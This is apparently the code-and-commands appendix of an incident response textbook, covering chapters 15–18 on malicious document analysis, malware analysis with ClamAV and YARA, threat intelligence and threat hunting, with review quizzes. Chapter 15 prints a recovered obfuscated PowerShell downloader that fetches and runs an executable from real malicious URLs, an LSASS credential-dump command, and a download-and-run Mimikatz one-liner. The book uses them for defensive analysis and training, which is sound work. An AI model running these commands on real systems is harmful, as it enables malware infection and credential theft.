Figure 15.35 – SMB logon entry details 



 

Figure 15.36 – RDP logon entry 



 

Figure 15.37 – RDP logon entry details 

Code and Commands 

Command 15.1: 



C:\Users\PROD-SANDBOX\Downloads\Oledump>oledump.py DETAILS-

RL1609.doc 

Command 15.2: 

C:\Users\PROD-SANDBOX\Downloads\Oledump>oledump.py -s 17 -v 

DETAILS-RL1609.doc > macro17 

Command 15.3: 

C:\Users\PROD-SANDBOX\Downloads\Oledump>oledump.py -s 18 -v 

DETAILS-RL1609.doc > macro18 

Command 15.4:  

C:\Users\PROD-SANDBOX\Downloads\Oledump>oledump.py -s 14 -d 

DETAILS-RL1609.doc > macro14 

Command 15.5: 

$Kqldfmbvr='Xidvorbkkcgta';$Fymbhyexmh = 

'593';$Nnrgqikkfqy='Bjspcpsecqf';$Osxjsuvbbxzc=$env:userpro

file 

+'\'+$Fymbhyexmh+'.exe';$Qeewlohvnhzjg='Tqytjxitodxzf';$Pvq

krn 

oao=&('new-ob'+'jec'+'t') 

nET.WebcLIEnt;$Fkmngitga='http://oni 

ongames.jp/contact/iY/*http://pmthome.com/posta/dr3zxa/*htt

p: 

//urgeventa.es/img/k35d9q/*https://solmec.com.ar/sitio/nTXZ

omKCx/*https://tiagocambara.com/cgi-bin/s96/'."SpL`IT" 

('*');$Xmvtsffjfj='Nbsfvavkmslb';foreach($Qtykmgpyyczy in 

$Fkmngitga){try{$Pvqkrnoao."d`OWnloa`DfIlE"($Qtykmgpyyczy, 

$Osxjsuvbbxzc);$Lqsnocick='Mwrnhskzeus';If ((&('Ge'+'t'+'-

Item') $Osxjsuvbbxzc)."l`eNg`Th" -ge 36952) 

{[Diagnostics.rocess]::"S`TARt"($Osxjsuvbbxzc);$Zjcyebtu='P

qrvhklqerie'; 

break;$Fzbbuntuulpsg='Musmxxqbo'}}catch{}}$Jbrhtvgftfzs= 

'Bvvggpdikswqr' 

Command 15.6: 



C:\Windows\system32>rundll32.exe C:\Users\PROD-

SANDBOX\AppData 

\Local\Temp\sample.dll,#1 

Command 15.7: 

C:\Users\Jsmith\Desktop>procdump.exe -ma lsass.exe dump.dmp 

Code 15.1: 

ParentCommandLine: 

C:\AtomicRedTeam\Atomics\T1003.001\procdump.exe  -

accepteula -ma lsass.exe C:\Windows\Temp\lsass_dump.dmp 

Code 15.2 

HostApplication=powershell.exe & {IEX (New-Object 

Net.WebClient).DownloadString('https://raw.githubuserconten

t.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec080

07a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-

Mimikatz -DumpCreds} 

Code 15.3: 

[Byte[]]$var_code = [System.Convert]::FromBase64String 

Code 15.4: 

for ($x = 0; $x -lt $var_code.Count; $x++) { 

          $var_code[$x] = $var_code[$x] -bxor 35 

Command 15.8: 

C:\Users\PROD-SANDBOX\Downloads\scdbg.exe -f download.dat 

Command 15.9: 

dfir@ubuntu:~/rita$ zeek -C -r Squirrelwaffle_Qakbot.pcap 

Command 15.10: 

dfir@ubuntu:~/rita$ rita import *.log Squirrelwaffle_Qakbot 

Command 15.11: 



dfir@ubuntu:~/rita$ rita show-beacons Squirrelwaffle_Qakbot 

> Beacons.csv 

Command 15.12: 

Ip.dst == 108.62.141.222 

Command 15.13: 

[4624 / 0x1210] Source Name: Microsoft-Windows-Security-

Auditing Strings: ['S-1-5-18', 'DESKTOP-9SK5KPF$', 

'WORKGROUP', '0x00000000000003e7', 'S-1-5-21-3785962752-

1303019572-1054719619-1001', 'Atomic Red Team', 'DESKTOP-

9SK5KPF', '0x00000000087e1208', '7', 'User32 ', 

'Negotiate', 'DESKTOP-9SK5KPF', '{00000000-0000-0000-0000-

000000000000}', '-', '-', '0', '0x0000000000000520', 

'C:\Windows\System32\svchost.exe', '192.168.0.22', '0', 

'%%1833', '-', '-', '-', '%%1843', '0x00000000087e11e6', 

'%%1843'] Computer Name: DESKTOP-9SK5KPF Record Number: 

99549 Event Level: 0 

Questions 

Answer the following questions to test your knowledge of this chapter: 

1. Which of these is not a post-exploitation framework? 

• Cobalt Strike 

• Metasploit 

• ProcDump 

• PowerSploit 

2. Windows OS credentials are stored in what process? 

• LSASS 

• Services 

• Netstat 

• credsman 

3. The use of Rundll32 can be observed within the Prefetch files. 

• True 

• False 



4. What type of Windows Security Event Log is indicative of a Remote Desktop 

Connection? 

• Event ID 4625 Type 3 

• Event ID 4625 Type 10 

• Event ID 4624 Type 3 

• Event ID 4264 Type 10 

Further reading 

Refer to the following for more details about the topics covered in this chapter: 

• Cobalt Strike PowerShell Analysis: 

https://michaelkoczwara.medium.com/cobalt-strike-powershell-payload-

analysis-eecf74b3c2f7 

• Deobfuscating PowerShell: https://medium.com/mii-cybersec/malicious-

powershell-deobfuscation-using-cyberchef-dfb9faff29f 

• CyberChef: https://docs.securityonion.net/en/2.3/cyberchef.html 

  

https://michaelkoczwara.medium.com/cobalt-strike-powershell-payload-analysis-eecf74b3c2f7%0D
https://michaelkoczwara.medium.com/cobalt-strike-powershell-payload-analysis-eecf74b3c2f7%0D
https://michaelkoczwara.medium.com/cobalt-strike-powershell-payload-analysis-eecf74b3c2f7%0D


Chapter 16 

Images 
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Figure 16.5 – PEStudio strings 



 

Figure 16.6 – Process Explorer 
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Figure 16.8 – Process Spawn Control notepad.exe suspension 
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Figure 16.10 – Process Explorer notepad.exe running 

 

Figure 16.11 – Intezer Analyze file upload 



 

Figure 16.12 – Intezer metadata 
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Figure 16.21 – FreshClam signature update 

 

Figure 16.22 – Clamscan output 

remnux@remnux:~/yarGen-master$ python3 yarGen.py -m 

/home/remnux/Downloads/malware_samples/ 



 

Figure 16.23 – YarGen YARA rule generator 

Code and Commands: 

Command 16.1: 

copy .\conf_examples\freshclam.conf.sample .\freshclam.conf 

copy .\conf_examples\clamd.conf.sample .\clamd.conf 

Command 16.2: 

C:\Program Files\ClamAV>freshclam.exe 

Command 16.3: 

C:\Program Files\ClamAV>clamscan.exe 

"C:\Users\flare\Documents\Suspected Malware" 

Command 16.4: 

rule CISA_10376640_01 : trojan wiper ISAACWIPER 

{ 

   meta: 

       Author = "CISA Code & Media Analysis" 

       Incident = "10376640" 

       Date = "2022-03-14" 

       Last_Modified = "20220418_1900" 

       Actor = "n/a" 

       Category = "Trojan Wiper" 

       Family = "ISAACWIPER" 

       Description = "Detects ISACC Wiper samples" 

       MD5_1 = "aa98b92e3320af7a1639de1bac6c17cc" 

       SHA256_1 = 

"abf9adf2c2c21c1e8bd69975dfccb5ca53060d8e1e7271a5e9ef3b56a7



e54d9f" 

       MD5_2 = "8061889aaebd955ba6fb493abe7a4de1" 

       SHA256_2 = 

"afe1f2768e57573757039a40ac40f3c7471bb084599613b3402b1e9958

e0d27a" 

       MD5_3 = "ecce8845921a91854ab34bff2623151e" 

       SHA256_3 = 

"13037b749aa4b1eda538fda26d6ac41c8f7b1d02d83f47b0d187dd6451

54e033" 

   strings: 

       $s0 = { 73 00 74 00 61 00 72 00 74 00 20 00 65 00 72 

00 61 00 73 00 69 00 6E 00 67 } 

       $s1 = { 6C 00 6F 00 67 00 69 00 63 00 61 00 6C } 

       $s2 = { 46 00 41 00 49 00 4C 00 45 00 44 } 

       $s3 = { 5C 00 6C 00 6F 00 67 00 2E 00 74 00 78 00 74 

} 

       $s4 = { 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 

6F } 

       $s5 = {53 74 61 72 74 40 34} 

       $s6 = {3B 57 34 74 2D 6A} 

       $s7 = {43 6C 65 61 6E 65 72 2E} 

   condition: 

       all of ($s0,$s1,$s2,$s3,$s4) or all of ($s5,$s6,$s7) 

} 

Command 16.5: 

remnux@remnux:~/yarGen-master$ python3 yarGen.py -m 

/home/remnux/Downloads/malware_samples/ 

Command 16.6: 

/* 

   YARA Rule Set 

   Author: yarGen Rule Generator 

   Date: 2022-07-27 

   Identifier: malware_samples 

   Reference: https://github.com/Neo23x0/yarGen 

*/ 

/* Rule Set -----------------------------------------------

------------------ */ 



rule 

sig_6b69de892df50de9a94577fed5a2cbb099820f7ca618771a93cca4d

e6196d242 

{ 

   meta: 

      description = "malware_samples - file 

6b69de892df50de9a94577fed5a2cbb099820f7ca618771a93cca4de619

6d242.exe" 

      author = "yarGen Rule Generator" 

      reference = "https://github.com/Neo23x0/yarGen" 

      date = "2021-07-27" 

      hash1 = 

"6b69de892df50de9a94577fed5a2cbb099820f7ca618771a93cca4de61

96d242" 

   strings: 

      $x1 = "<?xml version=\"1.0\" encoding=\"UTF-8\" 

standalone=\"yes\"?><assembly xmlns=\"urn:schemas-

microsoft-com:asm.v1\" manifestVersio" ascii 

      $x2 = "<assemblyIdentity version=\"1.0.0.0\" 

processorArchitecture=\"X86\" 

name=\"Nullsoft.NSIS.exehead\" 

type=\"win32\"/><description>" ascii 

      $s3 = "ExecutionLevel level=\"asInvoker\" 

uiAccess=\"false\"/></requestedPrivileges></security></trus

tInfo><compatibility xmlns=\"urn:s" ascii 

      $s4 = " Install System v2.46</description><trustInfo 

xmlns=\"urn:schemas-microsoft-

com:asm.v3\"><security><requestedPrivileges><request" ascii 

      $s5 = "s-microsoft-

com:compatibility.v1\"><application><supportedOS 

Id=\"{35138b9a-5d96-4fbd-8e2d-a2440225f93a}\"/><supportedOS 

Id=\"{e" ascii 

      $s6 = "<?xml version=\"1.0\" encoding=\"UTF-8\" 

standalone=\"yes\"?><assembly xmlns=\"urn:schemas-

microsoft-com:asm.v1\" manifestVersio" ascii 

      $s7 = "SHFOLDER" fullword ascii /* Goodware String - 

occured 37 times */ 

      $s8 = "NullsoftInst" fullword ascii /* Goodware 

String - occured 89 times */ 

      $s9 = "SeShutdownPrivilege" fullword ascii /* 



Goodware String - occured 153 times */ 

      $s10 = "mXDZG^H}" fullword ascii 

      $s11 = "WyUG\"_" fullword ascii 

      $s12 = "_`.XJn" fullword ascii 

      $s13 = "nTwZvD#" fullword ascii 

      $s14 = "gTFeK?" fullword ascii 

      $s15 = "snBZR_j" fullword ascii 

      $s16 = "vRPe~VSR" fullword ascii 

      $s17 = "008deee3d3f0" ascii 

      $s18 = "]WJgX>kMix" fullword ascii 

      $s19 = ",ywSvQMQ" fullword ascii 

      $s20 = "fjUu.$U" fullword ascii 

   condition: 

      uint16(0) == 0x5a4d and filesize < 500KB and 

      1 of ($x*) and 4 of ($s*) 

} 

Command 16.7: 

$x3 = "http://nsis.sf.net/NSIS_Error" ascii 

Questions 

Answer the following questions to test your knowledge of this chapter: 

1. Which of the following is not a type of malware? 

• Trojan 

• Keylogger 

• Rootkit 

• Webshell 

2. Responders should create a controlled environment in which to conduct 

malware analysis. 

• True 

• False 

3. Which of the following is a type of static analysis? 

• Runtime behavior 

• String extraction 

• Memory addressing 

• Malware coding 



4. Which of the following is a type of dynamic analysis? 

• Disassembly 

• Defined point 

• Packer analysis 

• Artifact extraction 

Further reading 

Refer to the following for more information about the topics covered in this chapter: 

• A source for .pcap files and malware samples: https://www.malware-traffic-

analysis.net/index.html 

• Malware Unicorn: https://malwareunicorn.org/#/ 

• MalwareJake: http://malwarejake.blogspot.com/ 

• Florian Roth’s GitHub account: https://github.com/Neo23x0/ 

• Malware Bazaar Sample: 

https://bazaar.abuse.ch/sample/6b69de892df50de9a94577fed5a2cbb099

820f7ca618771a93cca4de6196d242/. 

• Malware Traffic Analysis samples: https://www.malware-traffic-

analysis.net/2021/10/13/2021-10-13-Dridex-malware-and-artifacts.zip 

  

https://github.com/Neo23x0/
https://bazaar.abuse.ch/sample/6b69de892df50de9a94577fed5a2cbb099820f7ca618771a93cca4de6196d242/
https://bazaar.abuse.ch/sample/6b69de892df50de9a94577fed5a2cbb099820f7ca618771a93cca4de6196d242/


Chapter 17 

Images 

 

Figure 17.1 – The Pyramid of Pain 



 

Figure 17.2 – The intelligence cycle 

 

Figure 17.3 – MITRE ATT&CK Persistence 



 

Figure 17.4 – MITRE ATT&CK technique T1037 

 

Figure 17.5 – MITRE ATT&CK T1307.001 procedure example 



 

Figure 17.6 – APT28 profile 

 

Figure 17.7 – APT28 Associated Group Descriptions 



 

Figure 17.8 – APT28 Techniques Used 

 

Figure 17.9 – Mimikatz tool use 

 

Figure 17.10 – Mimikatz tool profile 



 

Figure 17.11 – ATT&CK Navigator 

 

Figure 17.12 – ATT&CK Navigator controls 

 



 

Figure 17.13 – ATT&CK Navigator multiselect feature 
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Code and Commands: 

Command 17.1: 

(dest_host="api.onedvirer.xyz" OR dest_host="rawfuns.com" 

OR dest_host="yolkish.com" OR dest_host="back.rooter.tk" OR 

dest_host="lab.symantecsafe.org" OR 

dest_host="mm.portomnail.com" OR dest_host="ns.rtechs.org" 

OR dest_host="p.estonine.com" OR 

dest_host="soft.mssysinfo.xyz" OR 

dest_host="www.averyspace.net" OR 

dest_host="www.komdsecko.net") 

Questions 
1. What is not a key element of intelligence? 

• Indicator of compromise 

• Utility 

• Evidence-based 

• Actionable 

2. Which of the following is part of the cyber kill chain? 

• Phishing 

• Weaponization 

• Malware 

• IOC 

3. TTPs describe actions taken by adversaries during a network attack. 

• True 

• False 



4. Which is not a threat intelligence type? 

• Operational 

• Strategic 

• Defense 

• Tactical 

Further reading 

Refer to the following for more details on the topics covered in this chapter: 

• Operationalizing Threat Intelligence: 

https://www.packtpub.com/product/operationalizing-threat-

intelligence/9781801814683 

• What Is Threat Intelligence? Definition and Examples: 

https://www.recordedfuture.com/threat-intelligence-

definition/Threats/Vulnerabilities: https://www.sans.org/reading-

room/whitepapers/threats/paper/38790  

• Yara GitHub repository: https://github.com/VirusTotal/yara 

• Suricata: https://suricata-ids.org/ 

• The Zeek Network Security Monitor: https://www.zeek.org/ 

• Snort: https://www.snort.org/ 

• Alient vault hit: 

https://otx.alienvault.com/pulse/6127557db7ec02a119d8c23d 

  

https://www.snort.org/
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Figure 18.5 – Threat hunt description 

 

Figure 18.6 – Setting artifacts to collect 
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Figure 18.8 – Threat hunt results 

Questions 

Answer the following questions to test your knowledge of this chapter: 

1. At what level of the threat hunting maturity model would technologies such as 

machine learning be found? 

• HM0 

• HM1 

• HM2 

• HM3 



2. Which of the following is a top 10 IOC? 

• IP address 

• Malware signature 

• Excessive file request 

• URL 

3. A threat hunt-initiating event can be a threat intelligence report. 

• True 

• False 

4. A working hypothesis is a generalized statement regarding the intent of the 

threat hunt. 

• True 

• False 

Further reading 

Refer to the following for more details about the topics covered in this chapter: 

• Your Practical Guide to Threat Hunting: 

https://www.threathunting.net/files/hunt-evil-practical-guide-threat-

hunting.pdf 

• Threat hunting with Velociraptor: 

https://docs.velociraptor.app/presentations/2022_sans_summit/ 


